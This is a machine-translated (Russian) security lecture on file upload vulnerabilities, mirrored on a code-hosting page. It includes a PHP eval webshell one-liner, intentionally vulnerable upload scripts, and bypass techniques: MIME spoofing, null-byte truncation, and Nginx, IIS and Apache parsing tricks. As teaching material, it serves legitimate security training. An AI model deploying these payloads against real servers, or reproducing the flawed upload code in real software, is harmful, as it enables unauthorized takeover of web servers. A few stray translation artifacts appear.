1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-mst-sec-lecture-notes

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
漏洞篇 文件上传.md 18 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 00:48 d9e190e

Мист Уайтхэт: обучение по теме «Уязвимости». Часть, посвящённая загрузке файлов

Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)

Редактор: Летающий дракон (https://github.com/)

Лицензия: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0)

Сначала рассмотрим процесс загрузки файлов.

Здесь браузер сохраняет файл на сервере через страницу загрузки. Обычно такие страницы имеют ограничения (например, разрешены только форматы jpg/gif/png или установлен лимит на размер файла).

Если страница загрузки ограничивает файлы, это может привести к неудаче в пентесте. Но действительно ли всё потеряно? Позже мы обсудим множество методов, и хотя мы не можем взломать код напрямую, мы можем использовать эти методы для обхода ограничений.

Существует два основных типа страниц загрузки: одни позволяют загружать файлы любого формата без ограничений, а другие ограничивают тип контента, хотя их можно обойти.

Одна строка кода

Цель использования уязвимостей при загрузке файлов — получить WebShell, то есть определённый уровень доступа к серверу. Одна строка кода — это <?php @eval($_POST['a']) ?>, где имя в массиве $_POST обычно называют паролем, который можно изменить по своему усмотрению. Если на сервере есть скрипт с этим кодом, мы сможем получить доступ к нему и выполнить нужный нам код.

Одна строка имеет много преимуществ: во-первых, по сравнению с полноценным бэкдором, она менее заметна и её сложнее обнаружить брандмауэру. Во-вторых, даже если её обнаружат, можно легко использовать динамические свойства PHP для запутывания и изменения кода.

Обычно мы используем инструмент «Нож» (Cutter) для подключения и управления WebShell; подробные инструкции см. в разделе «Практика».

Загрузка произвольных файлов

Рассмотрим этот фрагмент кода:

<form action="" method="POST" ENCTYPE="multipart/form-data">
    点这里上传文件:
    <input type="file" name="userfile">
    <input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
    exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
    echo '上传成功!';
else
    echo '上传失败!';

Это форма загрузки файла, в которой мы видим атрибут enctype, добавленный из-за различий в формате загрузки по сравнению с предыдущими формами. Без этого атрибута форма не будет распознана.

Затем проверяется, был ли загружен файл; если нет, выполнение программы завершается. После этого выводится информация о файле, что облегчает отладку. Затем файл сохраняется с именем, соответствующим его исходному имени, в каталог upfile/. В конце выводится сообщение об успешном завершении или ошибке.

Сохранив этот код как upfile.php, мы сначала обращаемся к нему и пытаемся загрузить файл. Мы помещаем одну строку кода <?php @eval($_POST['a']) ?> в файл 1.php и загружаем его на сервер.

Мы видим, что загрузка прошла успешно.

Можно увидеть информацию о загруженном файле, включая:

  • userfile — индекс файла в массиве; также имя поля ввода файла в форме.
  • name — имя файла.
  • type — тип файла.
  • tmp_name — полный путь к файлу во временной папке.
  • error — код ошибки.
  • size — размер файла.

Далее мы пытаемся напрямую обратиться к загруженному файлу и обнаруживаем, что доступ разрешён.

Теперь мы можем подключиться с помощью «Ножа».

Соединение успешно установлено, и мы успешно получаем оболочку.

Ограничение типов файлов

Если содержимое upfile.php изменится следующим образом:

<form action="" method="POST" enctype="multipart/form-data">
    点这里上传文件:
    <input type="file" name="userfile">
    <input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
    exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(@$_FILES['userfile']['type'] != "image/gif"){
        echo "对不起,我们只允许上传GIF格式的图片!!";
        exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
    echo "上传成功!";
else
    echo "上传失败!";

В этом коде добавлено следующее: он проверяет тип файла и, если это gif, пропускает его, иначе блокирует. Согласно кодировке multipart, тип можно изменить после генерации в браузере. Мы можем использовать Burp для перехвата и модификации этого значения.

Сначала мы открываем Burp, настраиваем прокси, обращаемся к upfile.php. Затем включаем режим перехвата и загружаем файл:

После перехвата мы находим Content-Type, который оказывается application/oct-stream. Мы меняем его на image/gif и отправляем дальше (возможно, потребуется несколько попыток, как в моём случае).

Загрузка прошла успешно, и загруженный файл появился в каталоге загрузки.

Расширение файла (дополнение)

Сейчас мы изменим upfile.php следующим образом:

<form action="" method="POST" enctype="multipart/form-data">
    点这里上传文件:
    <input type="file" name="userfile">
    <input type="submit" value="提交">
</form>
<?php
function extname($s) {
    $p = strrpos($s, '.');
    if($p === false)
        return '';
    else
        return substr($s, $p + 1);
}

if(!isset($_FILES['userfile']))
    exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(extname(@$_FILES['userfile']['name']) != 'gif'){
        echo "对不起,我们只允许上传GIF формат的图片!!";
        exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
    echo "上传成功!";
else
    echo "上传失败!";

Ранее проверка типа файла была заменена проверкой расширения. Как же обойти это ограничение? На самом деле многие серверы могут использовать 00 Перевод текста на русский язык:

Обход путём усечения. Принцип работы

Операционная система не допускает наличия пустых символов (‘\0’) в файле, поэтому при сохранении файла происходит усечение, и в качестве имени файла сохраняется только то, что было перед пустым символом. Однако в серверной программе можно обрабатывать пустые символы. Например, если мы изменим имя файла на 1.php\0.jpg, то в программе его расширение будет .jpg, но после сохранения имя файла будет 1.php, что позволит обойти защиту.

Фактическая работа с Burp очень проста. Мы нажимаем Intercept is on, отключаем режим перехвата, затем после отправки файла нажимаем Proxy:

Затем мы щёлкаем правой кнопкой мыши по этому запросу и выбираем Send to Repeater:

Мы можем найти наш запрос в Repeater.

Добавляем .gif после 1.php и нажимаем на hex:

Область, выделенная мышью, представляет собой .gif, а первый символ — это шестнадцатеричное значение 2e. Мы щёлкаем по нему правой кнопкой мыши.

Выбираем insert byte, и перед 2e появится 00.

Таким образом, наше требование выполнено, и мы можем нажать go для отправки запроса. Этот приём не работает со всеми серверами, но стоит попробовать.

Проверка на стороне клиента

Если upfile.php выглядит так:

<form action="" method="POST" enctype="multipart/form-data" name="fileform">
    Точка здесь для загрузки файла:
    <input type="file" name="userfile">
    <input type="submit" value="Отправить">
</form>
<script>
function checkFile(e) {
    var file = document.forms.fileform.userfile.value;
    if(!file.endsWith('.gif')) {
        alert('Извините, мы разрешаем загружать только изображения в формате GIF!!');
        e.preventDefault();
    }
}
document.addEventListener('DOMContentLoaded', function() {
    document.forms.fileform.onsubmit = checkFile;
});
</script>
<?php
function extname($s) {
    $p = strrpos($s, '.');
    if($p === false)
        return '';
    else
        return substr($s, $p + 1);
}

if(!isset($_FILES['userfile']))
    exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
    echo "Загрузка прошла успешно!";
else
    echo "Ошибка загрузки!";

Можно увидеть, что код проверки переместился на клиентскую сторону. Как упоминалось ранее, всё на клиентской стороне небезопасно, и это можно обойти. Нам нужно просто сначала загрузить нормальное изображение, использовать Burp для захвата пакета запроса, а затем действовать так же, как и с загрузкой любого другого файла.

Здесь следует отметить, что если вы видите проверку файлов на клиенте, программист, скорее всего, не добавил проверку на сервере из-за лени. Это явный признак уязвимости.

Уязвимость Nginx

Если сервер использует Nginx, мы можем напрямую загрузить изображение и использовать уязвимость для получения оболочки. Причина уязвимости заключается в том, что некоторые версии программы Nginx сами по себе уязвимы и могут анализировать и выполнять файлы, отличные от скриптов.

Предположим, на уязвимом сайте есть изображение с URL:

www.xxx.com/logo.jpg

При обычном доступе Nginx рассматривает его как нескриптовый файл и передаёт клиенту. Но если мы попробуем получить доступ к:

www.xxx.com/logo.jpg/a.php

Он будет рассматривать logo.jpg как PHP-файл и выполнит его. Или:

www.xxx.com/logo.jpg%00.php

Также приведёт к выполнению изображения, это уязвимость, обнаруженная в июле.

Чтобы использовать эту уязвимость, мы можем выбрать любое изображение и вставить в него одну строку:

После загрузки мы подтверждаем успешность загрузки, посетив URL изображения.

Затем используем эту уязвимость для создания URL и обнаруживаем, что он также может быть успешно доступен и позволяет нам получить оболочку.

Уязвимость IIS

В IIS 5.x/6.0 существует две уязвимости анализа: первая — анализ каталогов:

/a.asp/b.jpg

Где a.asp — каталог, b.jpg — существующий файл, тогда b.jpg будет рассматриваться как asp-файл для выполнения. Для этой уязвимости нам нужно создать каталог.

Вторая — анализ файлов, также известный как разделение точкой:

a.asp;.jpg

Расширение файла при загрузке — .jpg, но после загрузки IIS будет рассматривать его как asp-файл.

Кроме того, в IIS исполняемые файлы имеют расширения, кроме asp, такие как asa, cdx и cer. Многие веб-сайты часто фильтруют не полностью, и на это следует обратить внимание!

Уязвимость Apache

Уязвимости Apache интересны тем, что они анализируют расширения имён файлов справа налево. Если они сталкиваются с неизвестным расширением, они продолжают анализ. Например, мы загружаем a.php.owf.rar, он анализирует расширения в порядке rar owf php, но он не распознаёт два последних, поэтому он может анализировать только php, но в программе расширение файла всегда равно rar.

Ключ в том, что если Apache не распознает какое-либо расширение, но программа не фильтрует его (например, rar), мы можем изменить 1.php на 1.php.rar и загрузить его, а затем напрямую получить к нему доступ. Поэтому нам нужно сравнить разрешённые расширения в программе и неизвестные расширения Apache, чтобы попробовать одно за другим. Новые расширения будут появляться всё больше и больше, программа должна их пропустить из-за своих потребностей, но пока Apache не изменит свои правила анализа, эта уязвимость будет продолжать работать.

Примечание: В тексте перевода могут быть неточности или ошибки.

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
oschina-mirror
wizardforcel-mst-sec-lecture-notes
wizardforcel-mst-sec-lecture-notes
master